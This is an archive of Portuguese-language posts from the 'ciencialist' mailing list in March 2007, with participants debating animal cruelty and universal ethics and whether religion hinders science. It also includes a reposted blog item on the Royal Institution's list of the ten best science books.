> > > > >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> > > > >Date: Sat, 17 Mar 2007 19:36:14 -0000
> > > > >
> > > > >Olá Bruna
> > > > >
> > > > >Bruna: "A ética universal está na razão de darmos a mesma a
> > > > >consideração ao sofrimento de outros seres como damos ao nosso
> >próprio
> > > > >sofrimento, independente da espécie, do sexo e das habilidades
> > > > >intelectuais."
> > > > >
> > > > >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu
>não
> > > > >acreditar em você, como pretende provar que é assim? Ou é apenas
>uma
> > > > >questão de crença, devemos acreditar em você e pronto?
> > > > >
> > > > >Quer dizer, de onde tirou tal informação, que é uma das mais
> > > > >importantes e mais polêmicas da filosofia, a existência ou não de
>uma
> > > > >ética universal? Como só você encontrou a resposta, que tem
>dividido
> >e
> > > > >assombrado filósofos por séculos?
> > > > >
> > > > >Seria interessante saber como chegou a essa conclusão, o que a
> >embasa,
> > > > >quais as evidências, etc. Poderia resolver grandes problemas
> > > > >filosóficos do ser humano.
> > > > >
> > > > >Em segundo, fiquei curioso com este trecho em especial, em relação
>a
> > > > >parte prática, a forma de aplicar esse, generoso, princípio:
> > > > >
> > > > >Bruna: "independente da espécie, do sexo e das habilidades
> > >intelectuais."
> > > > >
> > > > >Todos os seres vivos, independente da espécie? E das habilidades
> > > > >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
> > > > >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> > > > >
> > > > >E animais selvagens, devemos destruir todas as cidades, para que
> > > > >possam voltar a habitar seus ambientes originais?
> > > > >
> > > > >E ratos, devemos impedir que sejam mortos nas cidades, pensando em
> >sua
> > > > >"dor"?
> > > > >
> > > > >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios
>que
> > > > >causem a morte dos micro-organismos que habitam ali? Se pegar
> > > > >lombrigas, não posso tomar remédios que causem dor e morte a elas?
>As
> > > > >pessoas que vivem em áreas da África assoladas por doenças como
> > > > >elefantíase, não podem aplicar as drogas que matam as moscas
> > > > >transmissoras?
> > > > >
> > > > >Por favor, não é uma pergunta retórica ou uma armadilha, eu
>realmente
> > > > >quero saber como pretende aplicar sua alegação a casos concretos,
>já
> > > > >que não há nela nenhuma limitação ou forma de decidir a linha de
> > >"corte".
> > > > >
> > > > >Se considerarmos a dor de TODOS os seres vivos, independentemente
>de
> > > > >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> > > > >agir nos casos concretos que citei?
> > > > >
> > > > >Um abraço.
> > > > >
> > > > >Homero
> > > > >
> > > > >
> > > > >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > > > ><brunacribas@> escreveu
> > > > > >
> > > > > > A ética universal está na razão de darmos a mesma a consideração
> >ao
> > > > >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > > > > independente da espécie, do sexo e das habilidades intelectuais.
> > > > > >
> > > > > > Abraços,
> > > > > >
> > > > > > da Bruna
> > > > > >
> > > > > >
> > > > > > José Renato <jrma@> escreveu:
> > > > >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar:
>como
> > > > >vamos
> > > > > > achar a ética universal se não a procurarmos? Parece-me que a
> > > > >questão está
> > > > > > muito menos em encontrá-la, do que na força necessária para
> > > > >considerá-la e
> > > > > > praticá-la. Estamos esgotados por tantas solicitações que não
>nos
> > > > >sobra
> > > > > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > > > > []s
> > > > > > José Renato
> > > > > > .............................................
> > > > > >
> > > > > > From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > <ciencialist@yahoogrupos.com.br>
> > > > > > Sent: Monday, March 12, 2007 12:07 PM
> > > > > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > >
> > > > > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > > > > universal vamos ficar apenas nos achismos e no plano
> > > > > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > > > > história de escolha lembra aquele velho dilema entre
> > > > > > > determinismo e acaso. Mas isso fica pra um outro
> > > > > > > debate....
> > > > > > >
> > > > > > > Abraços.
> > > > > > >
> > > > > > > --- José Renato <jrma@> escreveu:
> > > > > > >
> > > > > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > > > > >> nossa vida é construída,
> > > > > > >> destruída ou mantida por permanentes escolhas que
> > > > > > >> fazemos e pelas decisões
> > > > > > >> que tomamos. Encontrar as melhores decisões e
> > > > > > >> escolhas para cada situação é
> > > > > > >> a pedra de toque que os sábios buscam há tempos.
> > > > > > >> Como elas são praticamente
> > > > > > >> infinitas alguns roteiros básicos são copilados para
> > > > > > >> orientações gerais. Mas
> > > > > > >> no particular, cada um vai ter de optar, escolher e
> > > > > > >> decidir. Ou deixar que
> > > > > > >> decidam por nós.
> > > > > > >> Faço outros comentários no corpo do e-mail, após
> > > > > > >> JR2, OK?
> > > > > > >> ..............................................
> > > > > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > >> <ciencialist@yahoogrupos.com.br>
> > > > > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > > > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > > >>
> > > > > > >>
> > > > > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > > > > >> >
> > > > > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > > > > >> O
> > > > > > >> > atleta sofre muito durante a preparação para bater
> > > > > > >> > seus recordes com a intenção de ter o prazer de
> > > > > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > > > > >> > valorização,
> > > > > > >> > admiração, etc. Dor e prazer não são indicativos
> > > > > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > > > > >> caixa de
> > > > > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > > > > >> já
> > > > > > >> > era perseguido por Sócrates com muito empenho.
> > > > > > >> Perceba
> > > > > > >> >
> > > > > > >> > que buscar a felicidade, a glória e o gozo é o
> > > > > > >> > objetivo maior e legítimo do ser humano. As
> > > > > > >> > dificuldades ocorrem quando minha visão é curta e
> > > > > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > > > > >> > troca é prejudicial a
> > > > > > >> > mim e a todos que uso ou despacho para obter a
> > > > > > >> > felicidade a qualquer custo. Vou postar uma
> > > > > > >> reflexão
> > > > > > >> > que fiz sobre isso, provocada há tempos
> > > > > > >> > pelo Bulcão, na lista Acropolis.
> > > > > > >> >
> > > > > > >> >>>>>>Concordo com a relatividade.
> > > > > > >> >
> > > > > > >> >
> > > > > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > > > > >> sua
> > > > > > >> > existência passa a buscar viver de verdade, ter um
> > > > > > >> amor de
> > > > > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > > > > >> e confortam
> > > > > > >> > durante algum tempo. Mas o bom mesmo é
> > > > > > >> > a realidade com todas as sua conseqüências.
> > > > > > >> >
> > > > > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > > > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > > > > >> saiba mais
> > > > > > >> > verdades que uma pessoa comum. Com isso você
> > > > > > >> pensaria
> > > > > > >> > que conhece a realidade e seria bom para você.
> > > > > > >> > Não gostaria de entrar na MATRIX???
> > > > > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > > > > >> sair dela, da geléia geral
> > > > > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > > > > >> meios de comunicação
> > > > > > >> acionados pelos interesses comerciais e políticos.
> > > > > > >> Viver na realidade ou na
> > > > > > >> verdade dá mais segurança, harmonia,
> > > > > > >> tranquilidade... O melhor em tudo é não
> > > > > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > > > > >> isso que a Ciência
> > > > > > >> busca.
> > > > > > >> >
> > > > > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > > > > >> diversas
> > > > > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > > > > >> melhores
> > > > > > >> > momentos da vida vieram através da realidade e da
> > > > > > >> > lucidez em percebê-la. Nela me realizo.
> > > > > > >> >
> > > > > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > > > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > > > > >> sair dela.
> > > > > > >> >
> > > > > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > > > > >> > fazem... Quanto a não
> > > > > > >> > ser punido ou não sentir remorsos não é uma
> > > > > > >> certeza
> > > > > > >> > obtida de antemão.
> > > > > > >> > Quando menos se espera vem a tal crise existencial
> > > > > > >> e
> > > > > > >> > aí o cara se
> > > > > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > > > > >> > traidor, etc. e nem sabe
> > > > > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > > > > >> e
> > > > > > >> > mentira.
> > > > > > >> >
> > > > > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > > > > >> aquelas
> > > > > > >> > que não sentem nenhum remorso em fazer ações
> > > > > > >> > consideradas más.
> > > > > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > > > > >> conscientemente alguém gera
> > > > > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > > > > >> para mim" que vai geram um
> > > > > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > > > > >> estudos dos diversos
> > > > > > >> órgãos ou componentes do nosso sistema cognitivo
> > > > > > >> identifica-se regiões onde
> > > > > > >> estão os "bancos de dados" e procedimentos de
> > > > > > >> avaliação ética-moral. Célebre
> > > > > > >> é o caso do trabalhador que sofreu dano no célebro
> > > > > > >> provocado por um prego
> > > > > > >> disparado por uma pistola pneumática. Penetrou na
> > > > > > >> cabeça, mas ele continuou
> > > > > > >> consciente e aparentemente não prejudicou em nada
> > > > > > >> seus movimentos e
> > > > > > >> atividades intelectuais. Após a remoção do prego,
> > > > > > >> recuperação e volta ao
> > > > > > >> trabalho, observou-se que o cara estava com um
> > > > > > >> comportamento diferente,
> > > > > > >> aético, entrão, imoral, inconveniente... A partir
> > > > > > >> daí começou-se a fazer
> > > > > > >> testes mais acurados sobre o funcionamento dessa
> > > > > > >> região afetada e de outras
> > > > > > >> regiões do cérebro.
> > > > > > >> >
> > > > > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > > > > >> pode
> > > > > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > > > > >> > cruéis patológicos têm orgasmos ao praticar
> > > > > > >> violência,
> > > > > > >> > mas é um distúrbio mental que não me parece grande
> > > > > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > > > > >> minha
> > > > > > >> > experiência de vida para discernir o que é melhor,
> > > > > > >> o
> > > > > > >> > que deve ser evitado e o que precisa ser superado,
> > > > > > >> é
> > > > > > >> > um exercício diário que requer tempo, coragem e
> > > > > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > > > > >> outros
> > > > > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > > > > >> que tenha
> > > > > > >> > alguma chance de obter melhores resultados...
> > > > > > >> >
> > > > > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > > > > >> você
> > > > > > >> > disse é relativo.
> > > > > > >> JR2 - Em sã consciência somos capazes das maiores
> > > > > > >> crueldades e das maiores
> > > > > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > > > > >> fazer alguma ignomínia.
> > > > > > >> Basta estar na situação adequada para praticá-la. E
> > > > > > >> como sempre consideramos
> > > > > > >> algum ponto de referência pode estar certo que não
> > > > > > >> só o resto como tudo o
> > > > > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > > > > >> um ponto ótimo
> > > > > > >> inatingível como referência ou norte.
> > > > > > >> >
> > > > > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > > > > >> ilude
> > > > > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > > > > >> > sofistica as formas burlar, de modo a ser à prova
> > > > > > >> de
> > > > > > >> > qualquer investigação, até que alguém de dentro do
> > > > > > >> > esquema se sente enganado e, antes de ser
> > > > > > >> eliminado,
> > > > > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > > > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > > > > >> >
> > > > > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > > > > >> > ficarem sob segredo.
> > > > > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > > > > >> ser
> > > > > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > > > > >> mau
> > > > > > >> > também pode ser vantajoso ao invés de ser bom.
> > > > > > >> Note
> > > > > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > > > > >> jogos).
> > > > > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > > > > >> > esse principio você é igual às siglas. [ ... ]
> > > > > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > > > > >> longo prazo quando todos
> > > > > > >> ganham, e essa possibilidade deve ser considerada e
> > > > > > >> buscada permanentemente.
> > > > > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > > > > >> tirar o que vc já
> > > > > > >> ganhou prejudicando ou não prejudicando outras
> > > > > > >> pessoas. Esse é o normal na
> > > > > > >> maioria das nossas comunidades.
> > > > > > >>
> > > > > > > === message truncated ===
> > > > > > >
> > > > > > >
> > > > > > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > > > > > O que há é pouca gente para dar por isso... "
> > > > > > > Fernando Pessoa - Poesias de Alvaro Campos
> > > > > > >
> > > > > > > __________________________________________________________
> > > > > > > As informações existentes nessa mensagem e no(s) arquivo(s)
> > > > >anexado(s)
> > > > > > > são
> > > > > > > para uso restrito, sendo seu sigilo protegido por lei. Caso
> > >não seja
> > > > > > > destinatário, saiba que leitura, divulgação ou cópia são
> > >proibidas.
> > > > > > > Favor
> > > > > > > apagar as informações e notificar o remetente. O uso
> > >impróprio será
> > > > > > > tratado
> > > > > > > conforme as normas da empresa e a legislação em vigor.
> > > > >Agradecemos sua
> > > > > > > colaboração.
> > > > > > >
> > > > > > >
> > > > > > > The information mentioned in this message and in the archives
> > > > >attached
> > > > > > > are
> > > > > > > of restricted use, and its privacy is protected by law. If
>you
> > > > >are not
> > > > > > > the
> > > > > > > addressee, be aware that reading, disclosure or copy are
> > >forbidden.
> > > > > > > Please
> > > > > > > delete this information and notify the sender. Inappropriate
> > >use will
> > > > > > > be
> > > > > > > tracted according to company's rules and valid laws. Thank
>you
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SUBJECT: [RN] OS DEZ MELHORES LIVROS DE E SOBRE CIENCIAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 23:12

BLOG LINGUA FRANCA, 10-02-2007

René Daniel Decol

"Os dez melhores livros de ciência

O que escritores como Primo Levi, Brecht e Stephen Pinker têm em
comum? Eles estão entre os autores dos dez mais importantes livros de
ciência já publicados, de acordo com uma centenária instituição inglesa

A tabela periódica, do escritor Primo Levi, foi escolhido como o
melhor livro jamais publicado sobre algum assunto relacionado à
ciência. Nele, seu terceiro conjunto de ensaios, na maior parte
auto-biográficos, o químico judeu que sobreviveu a Auschwitz faz
referência aos elementos da tabela periódica como metáfora para falar
de suas raízes familiares, sua juventude na Itália, e da série de
eventos dramáticos que o levaram da resistência anti-fascista a um
campo de concentração na Polônia. Primio Levi morreu em 1987, ao cair
da sacada de seu apartamento, em Turin, no que acredita-se que tenha
sido suicídio. Ele encabeça uma lista publicada pela Royal
Institution, centenária instituição científica, na qual ironicamente
consta também Konrad Lorenz, o pai da etologia. Embora depois tenha se
retratado, Lorenz foi filiado ao partido nazista. Constam também entre
os campeões o roteirista Tom Stoppard e o biólogo Richard Dawkins.

O critério foi tanto científico como literário, já que cientistas dos
séculos 19 e 20, além de dramaturgos e roteiristas, foram aclamados.
Estão na lista, por exemplo, Stephen Pinker, o contemporâneo pioneiro
da ciência cognitiva, autor do polêmico Tábula Rasa, e o dramaturgo
alemão Bertolt Brecht, por sua peça Vida de Galileu. Está lá também
Darwin (pelo relato A viagem do Beagle e não pela Origem das
espécies), e o Prêmio Nobel James Watson, descobridor do DNA (A dupla
hélice).

Tom Stoppard, o roteirista de Shakespeare Apaixonado (Oscar de 1998),
e do clássico Brazil, do ex-Monty Python Terry Gilliam, foi indicado
por Arcadia, texto ainda inédito por aqui. Na peça, que convida o
leitor a viajar no tempo entre os séculos 19 e 20, um grupo de
personagens representa seus respectivos dramas. Stoppard explora temas
como a natureza da verdade e do tempo, as diferenças entre o
temperamento romântico e o moderno, e o papel confuso que o sexo
ganhou no mundo de hoje.

Outro inédito é King Solomon's Ring do zoologista, psicólogo e
ornitologista Konrad Lorenz. Nascido em Viena, criador da etologia, a
ciência que estuda o comportamento animal, Lorenz tem diversos livros
publicados no Brasil (mas não este). O escritor John Turney, que
presidiu o evento, jusitificou a escolha da seguinte forma: "It's the
most charming book ever written by a Nazi" (traduzível por "o livro
mais charmoso jamais escrito por um nazista"). Lorenz era filiado ao
partido, e foi recrutado para a Wermacht em 1941. Embora quisesse
servir como mecânico de motocicletas, foi designado médico do exército
alemão. Por isso, amargou um período nos campos de prisioneiros da
ex-União Soviética. Depois, já reconhecido por seu trabalho
científico, ganhou o Prêmio Nobel, e desculpou-se publicamente pela
mancha na biografia.

Gene Egoísta, de Richard Dawkins, publicado em 1976, aclamado como
divisor de águas nas ciências comportamentais, foi diversas vezes
publicado no Brasil. Dawkins também é etologista e biólogo. Nascido em
Nairobi, é radicado na Inglaterra.

Oliver Sacks, o neurologista inglês radicado em Nova York, não ficou
de fora. Descendente de uma nobre linhagem de neurologistas, professor
do Albert Einstein College of Medicine, escritor de raro talento que
fez sucesso no Brasil com Um antropólogo em Marte, foi classificado
pelo seu Com uma perna só.

Entre os dez livros, três nunca foram publicados no Brasil, e dois
estão fora de catálogo, inclusive Vida de Galileu. No que diz respeito
às editoras, a Companhia das Letras é a única presente com mais de um
título.

A seguir, os vencedores, com as edições em português, quando disponíveis:

Primo Levi – A tabela periódica (Relume Dumará, 2001)
Konrad Lorenz – King Solomon's Ring
Tom Stoppard – Arcadia
Richard Dawkins – Gene Egoísta (Itatiaia, 2001)

Também se classificaram:

James Watson – A dupla hélice (Gradiva, 2003)
Bertolt Brecht –Vida de Galileu (Civilização Brasileira, 1978)
Peter Medewar – Pluto's Republic
Charles Darwin – A viagem do Beagle
Stephen Pinker – Tábula Rasa (Companhia das Letras, 2004)
Oliver Sacks – Com uma perna só (Companhia das Letras, 2002)

Claro que o valor literário contou tanto quanto o conteúdo científico.
Basta lembra desta cena inicial de Vida de Galileu (leia a seguir).
Nela, Brecht faz um empolgante discurso a favor das luzes, da ciência
e do conhecimento, contra a escuridão e as trevas."
http://caiotulio.blogspot.com/2007_02_01_archive.html#7808294211426055573
-------------
Como todas as listas, há injustiçados.


[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 23:29

Takata: [ O q estou falando é q: toda vez q meteram deus no meio da ciência
a coisa emperrou, a ciência só tem andado se não enfiarem deus no meio da
história (ou em qq outra parte). ]
............................
José Renato comenta: A busca da verdade ou da real realidade que conseguimos
perceber, sempre foi feita pelos mais sábios e conscientes. Depois que o
conhecimento passou a ser considerado somente utilitarista, a Ciência deixou
de lado o desafio permanente de alcançar a Realidade e passou a produzir
novidades para comercializar. A Sabedoria não é bem vinda a esse tipo de
ciência, que se basta sendo útil aos consumidores e em desenvolver e aplicar
tecnologias de poder...
É mais rentável e o novo consumidor não quer nem saber porque essas
tecnologias são possíveis.
[]s
JR
.............................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 19, 2007 4:06 PM
Subject: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Não estou dizendo q a ciência prova q deus
> não existe, apenas q ela só tem avançado qdo
> desconsidera deus e se atém aos mecanismos naturais.
>
> --- Caro companheiro de barco, o que poderia a ciencia
> provar se não existisse a existencia? Aliás, como
> poderia existir "provador - prova - provado" se a
> existencia não existisse? Vc fala em: "provar". Uma
> vez perguntei aqui na lista:

O q em nada diz respeito à existência ou não de deus. (Na sinça, o q
vc falou faz pouco ou nenhum sentido.)

> --- a ciencia não precisa provar que deus existe, a
> própria existencia da ciencia já é uma prova.

Aí eu teria q aceitar o *seus* dogmas. Seria o mm q dizer q existência
da ciência é a prova de q saci pererê existe.

> --- Caro companheiro de barco, antes de ser um
> cientista, vc é um ser humano, e antes de ser humano,
> vc é vida pulsando. A vida não é nenhum dogma, deus
> também não. Reconhecer isto não vai te fazer menos
> cientista do que ninguém, mas o contrário.

Saci pererê tb não é dogma. Se deus existe ou não vem pouco ao caso. A
existência do universo e da vida NÃO é prova da existência de deus (ou
de sua inexistência). O q estou falando é q: toda vez q meteram deus
no meio da ciência a coisa emperrou, a ciência só tem andado se não
enfiarem deus no meio da história (ou em qq outra parte).

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/03/2007 23:46

Discordo JR.

Como vejo, a ciência mantém sua busca constante por uma maior compreensão da
realidade, quanto a isso não tenho dúvidas.

Minha maior dúvida é: o que você e outros, que parecem ver a ciência com
certo descrédito e parecem defender esse viés místico da tal "Sabedoria",
estão fazendo em uma lista de discussão sobre ciência?

Acho que contestar conteúdo científico (ou o místico), com argumentos
objetivos está dentro do escopo, mas contestar conteúdo científico,
objetivo, com argumentos místicos soa um pouco deslocado em nossas
discussões. Fora de contexto. Aparentemente off-topic.

Mais uma vez, apenas uma opinião pessoal, que não tem nenhum teor pessoal.

Grande abraço,

Ricardo



----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 21, 2007 11:29 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum


> Takata: [ O q estou falando é q: toda vez q meteram deus no meio da
> ciência
> a coisa emperrou, a ciência só tem andado se não enfiarem deus no meio da
> história (ou em qq outra parte). ]
> ............................
> José Renato comenta: A busca da verdade ou da real realidade que
> conseguimos
> perceber, sempre foi feita pelos mais sábios e conscientes. Depois que o
> conhecimento passou a ser considerado somente utilitarista, a Ciência
> deixou
> de lado o desafio permanente de alcançar a Realidade e passou a produzir
> novidades para comercializar. A Sabedoria não é bem vinda a esse tipo de
> ciência, que se basta sendo útil aos consumidores e em desenvolver e
> aplicar
> tecnologias de poder...
> É mais rentável e o novo consumidor não quer nem saber porque essas
> tecnologias são possíveis.
> []s
> JR
> .............................
> From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 19, 2007 4:06 PM
> Subject: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
>
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
>> Takata >>> Não estou dizendo q a ciência prova q deus
>> não existe, apenas q ela só tem avançado qdo
>> desconsidera deus e se atém aos mecanismos naturais.
>>
>> --- Caro companheiro de barco, o que poderia a ciencia
>> provar se não existisse a existencia? Aliás, como
>> poderia existir "provador - prova - provado" se a
>> existencia não existisse? Vc fala em: "provar". Uma
>> vez perguntei aqui na lista:
>
> O q em nada diz respeito à existência ou não de deus. (Na sinça, o q
> vc falou faz pouco ou nenhum sentido.)
>
>> --- a ciencia não precisa provar que deus existe, a
>> própria existencia da ciencia já é uma prova.
>
> Aí eu teria q aceitar o *seus* dogmas. Seria o mm q dizer q existência
> da ciência é a prova de q saci pererê existe.
>
>> --- Caro companheiro de barco, antes de ser um
>> cientista, vc é um ser humano, e antes de ser humano,
>> vc é vida pulsando. A vida não é nenhum dogma, deus
>> também não. Reconhecer isto não vai te fazer menos
>> cientista do que ninguém, mas o contrário.
>
> Saci pererê tb não é dogma. Se deus existe ou não vem pouco ao caso. A
> existência do universo e da vida NÃO é prova da existência de deus (ou
> de sua inexistência). O q estou falando é q: toda vez q meteram deus
> no meio da ciência a coisa emperrou, a ciência só tem andado se não
> enfiarem deus no meio da história (ou em qq outra parte).
>
> []s,
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> Roberto Takata
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SUBJECT: Re: P/ Murilo - Crueldade com animais
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/03/2007 23:57

Olá Murilo

Murilo: "Não foi a primeira vez, mas com certeza foi a última...
> Vc provocou e fugiu do pau.
> A partir de hoje, não leio vc suas pataquadas, mesmo dirigindo-se a
mim."

Desculpe, mas não tinha o que dizer, ou responder. Você apenas estava
"puxando briga" e não querendo um debate ou mesmo discussão lógica. Eu
respondi, quando achei que devia, toda mensagem sua (ou de quem seja,
sou um cara educado..:-), mas o que esperava que eu respondesse nesse
caso?

Se lesse minhas mensagens anteriores, para a Bruna por exemplo,
entenderia seu erro quanto ao que defendo. Nunca disse que não devemos
ter compaixão, mas sim que é preciso pensar sobre em que ponto colocar
a linha limite da compaixão (ratos ou coelhos, pessoas ou vacas).

Tenho enorme compaixão por cães, mas não exitaria em atropelar um
deles para evitar atropelar uma criança, você não?

Veja:

Murilo: "*Não é só* porque a lei da sobrevivência neste planeta manda
que uns morram para que outros vivam, num ciclo onde há lugar e vez
para todos, em que as espécies sobrevivem e os indivíduos passam, que
não deve haver emoção e sentimentos empáticos. ( isso responde
bastante do que vc quer saber. )"

Eu nunca disse algo REMOTAMENTE parecido com isso, Murilo, pode
perguntar ao resto da lista..:-). Nem é algo que "eu quero saber",
pois nunca disse nada disso.

Mais uma vez, entre salvar uma pessoa e 200 vacas, quem você salvaria,
Murilo?

Resumindo, penso que queria apenas puxar briga, por isso não respondi
a sua mensagem. Se não era isso, peço desculpas, e peço que explique
melhor o que deseja dizer ou argumentar, porque não pude entender.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Horáculo...
> Não foi a primeira vez, mas com certeza foi a última...
> Vc provocou e fugiu do pau.
> A partir de hoje, não leio vc suas pataquadas, mesmo dirigindo-se a mim.
> M. SP 21/março/2007
>
>
> >From: "murilo filo" <avalanchedrive@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
> >Date: Mon, 19 Mar 2007 22:56:11 -0300
> >
> >( + 1 tentativa p/o Horáculo dizer alguma coisa, mesmo espremido.)
> >
> >
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
> > >Date: Sun, 18 Mar 2007 20:44:03 -0300
> > >
> > >Sim, Oráculo,
> > >vc já foi melhor.
> > >
> > >Compaixão e empatia é assim: vc tem ou não tem. Se não tem, fica
difícil
> > >entender.
> > >A lombriga e os ratos, os bodes, papagaios, leões, virus, ninguém tem
> > >compaixão... no máximo alguma solidariedade perante algum filhote
> >indefeso.
> > >
> > >Os seres humanos sim, COSTUMAM TER, e isso é AQUELE diferencial
entre nós
> >e
> > >as feras; e que deveria ser conservado e cultivado.
> > >
> > >*Não é só* porque a lei da sobrevivência neste planeta manda que uns
> >morram
> > >para que outros vivam, num ciclo onde há lugar e vez para todos,
em que
> >as
> > >espécies sobrevivem e os indivíduos passam, que não deve haver
emoção e
> > >sentimentos empáticos. ( isso responde bastante do que vc quer
saber. )
> > >
> > >Se eu tivesse nas mãos um produto para *erradicar* os ratos dos
esgotos,
> >ou
> > >as lombrigas e seus ovos de todas as bundas, fezes e águas, esteja
> >seguro,
> > >eu não o usaria, mesmo sendo eu o mais forte.
> > >
> > >E se eu fosse um político, que usa as pessoas e suas vidas como
matéria
> > >prima e massa de manobra, o que eu faria com as lombrigas, se
tivesse o
> > >hipotético produto? Logicamente, como político, se houvesse algum
> >proveito
> > >próprio, arrogantemente eu mataria qualquer coisa p/sempre.
> > >
> > >Mas acontece que BÁSICA e estruturalmente a cabeça da Bruna é a
mesma do
> > >político fera, ou qualquer outro brutal que anda por aí.
> > >
> > >A cabeça e a consciência da Bruna é que são muito mais depuradas,
mais
> > >elevadas e mais evoluídas, e isso deve ser cultivado e admirado, pq
> > >trata-se
> > >do seu diferencial perante as feras.
> > >
> > >Mesmo que a Bruna saiba, E SABE, que é impossível NÃO MATAR no
planeta,
> >ela
> > >busca uma solução, e este impulso de busca é o começo de qualquer
> >solução.
> > >TALVEZ ela mesma não tenha avaliado como é que surgem estas
coisas em sua
> > >mente benevolente, mas que é algo muito refinado, não há como negar.
> > >
> > >A matança vai continuar... nosso cérebro é energia pura... nossa
saúde
> >está
> > >cada vez melhor, mas graças às Brunas já existe UMA CONSCIÊNCIA
de que
> > >devemos matar apenas *o suficiente*, ou o *menos possível*.
> > >
> > >Ainda é querer muito de uma humanidade que também mata a sí
mesma, mas já
> > >podemos entender que NÃO se trata de algo impossível.
> > >abr/Murilo SP 18/març07
> > >
> > > >From: "oraculo333" <oraculo@...>
> > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > >To: ciencialist@yahoogrupos.com.br
> > > >Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais
> > > >Date: Sun, 18 Mar 2007 01:36:53 -0000
> > > >
> > > >Olá Murilo
> > > >
> > > >Murilo: "Caramba, Horáculo...
> > > >Vc já foi melhor! Frente à realidade estabelecida há milhões de
anos,
> > > >ela só está falando de algo denominado de ''empatia'', ou
> >''compaixão''."
> > > >
> > > >Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
